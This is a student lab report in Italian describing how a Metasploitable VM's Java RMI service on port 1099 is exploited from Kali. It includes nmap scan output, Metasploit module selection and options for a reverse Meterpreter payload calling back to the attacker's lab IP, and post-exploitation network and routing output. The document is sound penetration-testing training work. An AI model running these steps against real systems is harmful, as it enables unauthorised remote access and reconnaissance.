

PROGETTO S7 L5

Salvatore Frisicaro

Obbiettivo:

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099-Java RMI.

Si richiede allo studente di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.

I requisiti dell'esercizio sono:

- La macchina attaccante (KALI) deve avere il seguente indirizzo IP:
192.168.11.111
- La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP:
192.168.11.112
- Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota:
 1. configurazioni di rete.
 2. informazioni sulla tabella di routing della macchina vittima.

Macchine:

-Macchina attaccante: Kali Linux 192.168.11.111

-Macchina target: Metasploitable 192.168.11.112

Tools:

-Nmcli

-Nmap

-Metasploit (msfconsole)

Step 1

Configurazioni indirizzi Ip

Kali:

Modifichiamo l'ip della Kali tramite **nmcli (strumento a riga di comando per controllare NetworkManager e gestire le connessioni di rete su kali)** in statico e assegniamo l'ip richiesto.

```
(kali@kali)~$
$ sudo nmcli connection modify "Wired connection 1" ipv4.addresses 192.168.11.111/24
$ sudo nmcli connection modify "Wired connection 1" ipv4.gateway 192.168.11.1
$ sudo nmcli connection modify "Wired connection 1" ipv4.method manual
[sudo] password for kali:
```

Risultato:

```
(kali@kali)~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:8a:35:d2 brd ff:ff:ff:ff:ff:ff
    inet 192.168.11.111/24 brd 192.168.11.255 scope global noprefixroute eth0
        valid_lft forever preferred_lft forever
    inet6 fd17:025c:f037:2:a03c:0b72:e54b:724f/64 scope global tentative dynamic noprefixroute
        valid_lft 86399sec preferred_lft 14399sec
    inet6 fe80::14b5:80fe:3dd2:6b7/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
```

Kali adesso ha l'ip 192.168.11.111

Metasploitable:

Modifichiamo l'ip tramite riga di comando usando **"sudo nano /etc/network/interfaces"**. Si aprirà una schermata dove andremo a modificare i parametri come in foto.

```
GNU nano 2.0.7 File: /etc/network/interfaces

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
    address 192.168.11.112
    netmask 255.255.255.0
    gateway 192.168.11.1

[ Read 13 lines ]
^G Get Help ^O WriteOut ^R Read File ^Y Prev Page ^K Cut Text ^C Cur Pos
^X Exit ^J Justify ^W Where Is ^U Next Page ^U UnCut Text ^T To Spell
```

Risultato:

```
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
    valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:19:30:4a brd ff:ff:ff:ff:ff:ff
    inet 192.168.11.112/24 brd 192.168.11.255 scope global eth0
    inet6 fd17:625c:f037:2:a00:27ff:fe19:304a/64 scope global dynamic
        valid_lft 86309sec preferred_lft 14309sec
    inet6 fe80::a00:27ff:fe19:304a/64 scope link
        valid_lft forever preferred_lft forever
msfadmin@metasploitable:~$ sudo /etc/init.d/networking restart
* Reconfiguring network interfaces... [ OK ]
msfadmin@metasploitable:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:19:30:4a brd ff:ff:ff:ff:ff:ff
    inet 192.168.11.112/24 brd 192.168.11.255 scope global eth0
    inet6 fe80::a00:27ff:fe19:304a/64 scope link tentative
        valid_lft forever preferred_lft forever
msfadmin@metasploitable:~$ _
```

Metasploit adesso ha l'ip 192.168.11.112

Verifichiamo la corretta configurazione con un ping:

```
(kali@kali)-[~]
└─$ ping -c 4 192.168.11.112
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data:
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=35.3 ms
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=18.2 ms
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=11.0 ms
64 bytes from 192.168.11.112: icmp_seq=4 ttl=64 time=5.33 ms

— 192.168.11.112 ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 5.332/17.457/35.261/11.248 ms
```

Il ping riporta che tutti i pacchetti sono stati trasmessi correttamente, quindi la configurazione è corretta.

Step 2

In questo step dobbiamo cercare di ottenere una sessione remota Meterpreter, come primo passo verifichiamo che la porta 1099 sia veramente aperte tramite nmap.

Comando: **nmap -sV -p- 192.168.11.112**

```
└─$ nmap -sV -p- 192.168.11.112
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-24 03:38 -0400
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.11.112
Host is up (0.054s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet?
25/tcp    open  smtp?
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec?
513/tcp   open  login?
514/tcp   open  shell?
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ccproxy-ftp?
3306/tcp  open  mysql?
3632/tcp  open  distccd?
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
6697/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
8787/tcp  open  drb          Ruby DRB RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drbb)
38658/tcp open  mountd      1-3 (RPC #100005)
49362/tcp open  status      1 (RPC #100024)
49938/tcp open  java-rmi     GNU classpath grmiregistry
59995/tcp open  nlockmgr    1-4 (RPC #100021)
MAC Address: 08:00:27:19:30:4A (Oracle VirtualBox virtual NIC)
Service Info: Host: irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

La porta è aperta procediamo all'avvio di metasploit (**msfconsole**)

Dopo aver avviato msfconsole possiamo subito alla ricerca tramite **search**:

```

(kali@kali)~$ msfconsole
Metasploit tip: Use help <command> to learn more about any command
# cowsay++
<metasploit>

  \
  (oo)
  /

Metasploit v6.4.135-dev
+ -- [ 2,654 exploits - 1,338 auxiliary - 2,141 payloads ]
+ -- [ 433 post - 49 encoders - 14 nops - 12 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > search java_rmi

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  auxiliary/gather/java_rmi_registry       2011-10-15      normal No     Java RMI Registry Interfaces Enumeration
1  exploit/multi/misc/java_rmi_server       2011-10-15      excellent Yes    Java RMI Server Insecure Default Configuration Java Code Execution
2  \ target: Generic (Java Payload)         .               .       .       .
3  \ target: Windows x86 (Native Payload)  .               .       .       .
4  \ target: Linux x86 (Native Payload)    .               .       .       .
5  \ target: Mac OS X PPC (Native Payload) .               .       .       .
6  \ target: Mac OS X x86 (Native Payload) .               .       .       .
7  auxiliary/scanner/misc/java_rmi_server   2011-10-15      normal No     Java RMI Server Insecure Endpoint Code Execution Scanner
8  exploit/multi/browser/java_rmi_connection_impl 2010-03-31      excellent No     Java RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 8, use 8 or use exploit/multi/browser/java_rmi_connection_impl
msf > use 1
msf exploit/multi/misc/java_rmi_server >

```

Avviata la ricerca e osservato i risultati, il numero 1 è quello più convenzionale al nostro obiettivo e digitiamo **use 1** per usare il modulo.

Dentro al modulo digitiamo **options** per vedere i parametri che richiedono una configurazione.

Settiamo i parametri:

RHOST(192.168.11.112), LHOST (192.168.11.111), SRVHOST (192.168.11.111), HTTPDELAY (30), PAYLOAD (java_meterpreter_reverse_http).

```

Module options (exploit/multi/misc/java_rmi_server):

  Name      Current Setting  Required  Description
  --      -
HTTPDELAY   30              yes       Time that the HTTP Server will wait for the payload request
RHOSTS     192.168.11.112  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      1099            yes       The target port (TCP)
SRVHOST     192.168.11.111  yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT     8081            yes       The local port to listen on.
SRVSSL     false           no        Negotiate SSL/TLS for local server connections
SSL        false           no        Negotiate SSL for incoming connections
SSLCert     false           no        Path to a custom SSL certificate (default is randomly generated)
URIPATH     false           no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_http):

  Name      Current Setting  Required  Description
  --      -
LHOST      192.168.11.111  yes       The local listener hostname
LPORT      4454            yes       The local listener port
LURI       false           no        The HTTP Path

Exploit target:

  Id  Name
  --  -
0     Generic (Java Payload)

View the full module info with the info, or info -d command.

```

Lanciamo l'exploit ed otteniamo la sessione Meterpreter.

Step 3

Dopo aver ottenuta la sessione Meterpreter la traccia richiedeva di raccogliere 2 evidenze.

Configurazioni di rete “ipconfig”:

```

Interface 1
Name : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
Name : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fd17:625c:f037:2:a00:27ff:fe19:304a
IPv6 Netmask : ::
IPv6 Address : fe80::a00:27ff:fe19:304a
IPv6 Netmask : ::

meterpreter > ipconfig

Interface 1
Name : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
Name : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fd17:625c:f037:2:a00:27ff:fe19:304a
IPv6 Netmask : ::
IPv6 Address : fe80::a00:27ff:fe19:304a
IPv6 Netmask : ::

```

Tabella di routing “route”:

```

meterpreter > route

IPv4 network routes

Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1    255.0.0.0    0.0.0.0
192.168.11.112 255.255.255.0 0.0.0.0

IPv6 network routes

Subnet      Netmask      Gateway      Metric      Interface
-----
::1          ::
fd17:625c:f037:2:a00:27ff:fe19:304a ::
fe80::a00:27ff:fe19:304a ::

```

Conclusioni

Sintesi dell'attività

L'attività svolta ha dimostrato con successo la vulnerabilità del servizio **Java RMI** attivo sulla **porta 1099** della macchina target (192.168.11.112). Attraverso l'uso del framework **Metasploit** dalla macchina attaccante (192.168.11.111), è stato possibile:

- Sfruttare la debolezza del servizio per ottenere un accesso remoto non autorizzato.
- Instaurare una sessione interattiva **Meterpreter** con privilegi idonei.
- Eseguire la fase di post-exploitation, raccogliendo con successo le evidenze richieste relative alla **configurazione di rete** e alla **tabella di routing** del sistema compromesso.

Valutazione dell'Impatto

Il successo dell'attacco evidenzia un rischio critico per l'infrastruttura:

-Privilege Escalation & Lateral Movement: Le informazioni di rete estratte (interfacce e tabella di routing) permettono ad un attaccante di mappare l'architettura interna e pianificare un movimento laterale verso altre macchine attestate sulla stessa rete o su subnet adiacenti.

-Esecuzione Remota di Codice (RCE): La presenza di servizi di gestione remota privi di autenticazione o con configurazioni di default obsolete espone il sistema all'esecuzione arbitraria di comandi.